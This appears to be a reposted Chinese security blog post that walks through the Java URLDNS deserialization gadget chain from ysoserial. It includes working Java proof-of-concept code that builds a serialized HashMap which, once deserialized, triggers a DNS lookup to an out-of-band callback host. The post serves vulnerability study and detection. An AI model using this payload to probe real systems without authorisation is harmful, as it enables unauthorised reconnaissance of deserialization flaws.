URLDNS 在 Java 复杂的反序列化漏洞当中比较简单简单;
URLDNS就是ysoserial工具中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。 因为它仅仅是一条url,一次dns请求,虽然这条链子不能用来利用,但是可以用来是否存在反序列化漏洞时使用,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法,所以不受jdk版本限制
在 ysoserial 工具中,对于URLDNS是这样构造的
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
首先是HashMap的对象, URL 是由 HashMap 的 put 方法产生的,所以我们先跟进 put 方法当中。put 方法之后又是调用了 hash 方法;hash 方法则是调用了 hashcode 这一函数。
public class SerializationTest {
public static void main(String[] args) throws MalformedURLException {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
hashMap.put(new URL("http://hdxjfn.dnslog.cn"),1);
}
}
跟put方法,这里调用hash方法,
先跟一下hash方法,参数为key,如果key 是 null 就返回0 否则就返回 hashcode方法处理后的值和h右移再进行亦或
而对于key又有一个hashcode这个函数
我们看到这个 hashCode 函数的变量名是 key 它是hash 这一方法传进的参数
hashMap.put(new URL("http://hdxjfn.dnslog.cn"),1);
// 传进去两个参数,key = 前面那串网址,value = 1
再跟进 getHostAddress
这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。
所以这就是URLDNS链子的原理
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
下面开始复现
这里要注意一点,这里当hashCode的值不等于-1的时候,函数就会直接 return hashCode 而不执行 hashCode = handler.hashCode(this);。而一开始定义 HashMap 类的时候hashCode 的值为 -1,便是发起了请求。所以我们在没有反序列化的情况下面,就收到了 DNS 请求,这是不正确的。 因为这样就无法判断是否是 因为反序列化的 URLDNS ,还是因为序列化的过程中的 URLDNS。
URLDNS 反序列化利用链的 POC
package Dnsurl;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
//设置允许访问权限
hashcodefile.setAccessible(true);
//这里设置成随便一个,不是-1就行
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1;通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}
private static void serialize(Object obj) throws IOException {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
System.out.println("序列化成功!!!");
}
}
反序列化的文件无需更改 (和原生大差不差)
package Dnsurl;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializableTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
User user = (User) unserialize("ser.bin");
System.out.println(user);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File(Filename)));
Object obj = ois.readObject();
System.out.println("反序列化成功!!!");
return obj;
}
}
接着我们运行序列化文件,是收不到 DNS 请求的,而当我们运行反序列化的文件时候,可以收到请求,这就代表着我们的 URLDNS 链构造成功了。
总结如下:
反序列化过程中HashMap的Key会进行Key.HashCode()计算,如果Key传入的是URL(URL context, String spec, URLStreamHandler handler)类型(重写URLStreamHandler避免有多余的DNS请求),在计算hashCode()的时候,就会调用URLStreamHandler.hashCode()触发getHost方法对目标进行DNS解析。
参考:
https://www.freebuf.com/articles/web/327710.html
https://www.bilibili.com/video/BV16h411z7o9?p=2&vd_source=522f67219dbfa470b2b0ac889c785113
原文始发于微信公众号(PwnPigPig):Java URLDNS分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论